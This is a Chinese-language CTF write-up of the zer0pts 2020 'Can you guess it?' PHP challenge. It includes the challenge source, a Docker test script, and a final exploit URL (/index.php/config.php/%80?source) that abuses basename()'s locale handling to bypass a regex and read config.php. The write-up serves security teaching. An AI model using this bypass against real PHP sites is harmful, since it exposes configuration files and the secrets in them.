Challenge (URL)

题目文件: Can_you_guess_it_ffc668f78ed564bf7a62463fd16bc26c.tar.gz

index.php 内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>

secret由bin2hex(random_bytes(64))生成,如果这个值匹配就能得到flag,但看下PHP文档就知道这不太现实。

因此需要用其他的方法得到FLAG,从include 'config.php'; // FLAG is defined in config.php可以知道FLAG在config.php中,也就是说,我么需要某种方式读取config.php

注意到highlight_file(basename($_SERVER['PHP_SELF']));,这里很可疑,basename是一个返回指定路径文件名的函数,$_SERVER['PHP_SELF']是当前正在执行的脚本的文件名,这里是用于显示自身源码。

但是,为什么开头有一个检查,要求$_SERVER['PHP_SELF']不是以config.php结尾的字符串。这是因为,如果访问的是/index.php/config.php(运行的是index.php), 这种情况下$_SERVER['PHP_SELF']/index.php/config.php,但basename返回的是config.php,因此highlight_file会将config.php的内容显示出来。也就是说,如果绕过了这个检查,我们就能够得到FLAG。

看一下basename的文档

注意这一句:

Note:

basename() is locale aware, so for it to see the correct basename with multibyte character paths, the matching locale must be set using the setlocale() function.

为了获得包含多字节字符的路径的正确结果,需要预先使用setlocale() 进行适当设置。 那如果没有进行恰当的设置会发生什么,我们可以简单测试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ docker run --rm -it php:7.3-apache bash

root@a06cc21f03e1:/tmp# apt install -y libicu-dev
root@a06cc21f03e1:/tmp# docker-php-ext-install intl
root@a06cc21f03e1:/tmp# cat test.php
<?php
function check($str) {
return preg_match('/config\.php\/*$/i', $str);
}

for ($i = 0; $i < 0x100; $i++) {
$s = '/index.php/config.php/' . IntlChar::chr($i);
if (!check($s)) {
$t = basename('/index.php/config.php/' . chr($i));
echo "${i}: ${t}\n";
}
}
root@a06cc21f03e1:/tmp# php test.php

120: x
121: y
122: z
123: {
124: |
125: }
126: ~
127: ^?
128: config.php
129: config.php
130: config.php
131: config.php
132: config.php

/index.php/config.php/%80就可以绕过开始的检查,让basename返回config.php,因此访http://URL/index.php/config.php/%80?source的话,就能够得到config.php的内容。

参考资料

https://st98.github.io/diary/posts/2020-03-09-zer0pts-ctf-2020.html